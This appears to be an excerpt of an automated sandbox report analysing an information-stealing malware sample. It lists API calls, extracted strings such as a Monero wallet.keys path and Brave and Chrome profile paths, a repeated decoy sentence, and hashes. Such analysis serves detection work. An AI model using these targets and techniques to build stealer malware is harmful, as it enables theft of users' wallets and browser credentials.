Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8du$8eu$NtQueryInformationProcess$Xdu$xdu
API String ID: 2238633743-3264121833
Opcode ID: b525d5dd9b035bbee8c7c650177b8296c98ffb163332f5263fef8e5b8f5258db
Instruction ID: 8ae2ba77d36f321ef0679274d41a7e659e5f99ca65ab7006fca3a319692e3728
Opcode Fuzzy Hash: b525d5dd9b035bbee8c7c650177b8296c98ffb163332f5263fef8e5b8f5258db
Instruction Fuzzy Hash: C2A12AB6704340AFD344EFACED88A663BF9F75C301708851AA689C3364D779A841CB72

Function 00AF45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00AF460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00AF479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AF4617

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: b19282acf156295418b2625c0afd75efa9a54c027d18cfa358b08d5a8e69a2cb
Instruction ID: b612ee416dafbdab085627b84e984aac32dbd6fb5c6e25afa4e030cf1e07eeac
Opcode Fuzzy Hash: b19282acf156295418b2625c0afd75efa9a54c027d18cfa358b08d5a8e69a2cb
Instruction Fuzzy Hash: 7241EB616C5604FFE634BBA598C2EFDB7A75FC670CFA050C4AA0852290C7F06584D76A

Function 00B04910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00B0492C
FindFirstFileA.KERNEL32(?,?), ref: 00B04943
StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
FindClose.KERNEL32(000000FF), ref: 00B04B92

Strings

%s\%s, xrefs: 00B049A4
%s\*, xrefs: 00B04920
%s\%s, xrefs: 00B049FB
8v, xrefs: 00B04A3D

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$8v
API String ID: 180737720-1219971346
Opcode ID: 34fee0274b763e9147fa4e5382989a8e9a170d39b0e99dbcd2319b9e6c7c6f3a
Instruction ID: 50c6bbd3cac8101d06053f2c48e8c3816d6c4c3e8b54b609e6f8fe406fd824fd
Opcode Fuzzy Hash: 34fee0274b763e9147fa4e5382989a8e9a170d39b0e99dbcd2319b9e6c7c6f3a
Instruction Fuzzy Hash: DB6167B2510218ABCB20EBA4DC85FEA77BCFB48700F4045D8B649D6190EB71DB85CFA1

Function 00AFBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00B10B32,00B10B2B,00000000,?,?,?,00B113F4,00B10B2A), ref: 00AFBEF5
StrCmpCA.SHLWAPI(?,00B113F8), ref: 00AFBF4D
StrCmpCA.SHLWAPI(?,00B113FC), ref: 00AFBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFC7BF
FindClose.KERNEL32(000000FF), ref: 00AFC7D1

Strings

Brave, xrefs: 00AFC102
Preferences, xrefs: 00AFC11E
Google Chrome, xrefs: 00AFC634
\Brave\Preferences, xrefs: 00AFC1DB

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 63858331492053824f74e22397d5328724db2bd26241a35451a3ec48f2b8268e
Instruction ID: 88441639602963e6ce62cb29b8d7d5414fcea4f3633af2ef49747c988175cd70
Opcode Fuzzy Hash: 63858331492053824f74e22397d5328724db2bd26241a35451a3ec48f2b8268e
Instruction Fuzzy Hash: CD424571A1030897DB14FBA4DD96EED77BCAB94300F4089D8B506A61D1EF349F49CBA2

Function 6CAA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB2F688,00001000), ref: 6CAA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAA369F
__aulldiv.LIBCMT ref: 6CAA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAA3773
EnterCriticalSection.KERNEL32(6CB2F688), ref: 6CAA377E
LeaveCriticalSection.KERNEL32(6CB2F688), ref: 6CAA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAA37C4
EnterCriticalSection.KERNEL32(6CB2F688), ref: 6CAA37CB
LeaveCriticalSection.KERNEL32(6CB2F688), ref: 6CAA3801
__aulldiv.LIBCMT ref: 6CAA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAA394C

Strings

QPC, xrefs: 6CAA38FC
MOZ_TIMESTAMP_MODE, xrefs: 6CAA35DB
GenuntelineI, xrefs: 6CAA3639
GTC, xrefs: 6CAA3912
AuthcAMDenti, xrefs: 6CAA3946

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f3bd1f1e771a9a2cf80cc8787fe55f31de861025b057357c3fcb42aad0d737af
Instruction ID: fbdd7d5ac397abcc53a836e91c934300abb2b219e6fd7532634fedcefcbaead4
Opcode Fuzzy Hash: f3bd1f1e771a9a2cf80cc8787fe55f31de861025b057357c3fcb42aad0d737af
Instruction Fuzzy Hash: DEB1C271B093509BDB09DF69C444A6ABBF5FB8A700F04892EE899D7750D738E845CB81

Function 00B03EA0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B03EC3
FindFirstFileA.KERNEL32(?,?), ref: 00B03EDA
StrCmpCA.SHLWAPI(?,00B10FAC), ref: 00B03F08
StrCmpCA.SHLWAPI(?,00B10FB0), ref: 00B03F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0406C
FindClose.KERNEL32(000000FF), ref: 00B04081

Strings

%s\%s, xrefs: 00B03EB7
hv, xrefs: 00B03F62
8v, xrefs: 00B03F4F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$8v$hv
API String ID: 180737720-3881091347
Opcode ID: 14c8ccdc06fd54953eb30befdd0b3edaaead00c4c52f995e363763827302b20f
Instruction ID: d4993df969561306adb0c5974a7f2b1601070d21f1d679efb4c7308c06af76f1
Opcode Fuzzy Hash: 14c8ccdc06fd54953eb30befdd0b3edaaead00c4c52f995e363763827302b20f
Instruction Fuzzy Hash: 125148B2900318ABCB24FBB4DC85EEA77BCBB54700F4045C8B75996190EB75DB858FA1

Function 00AF60A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
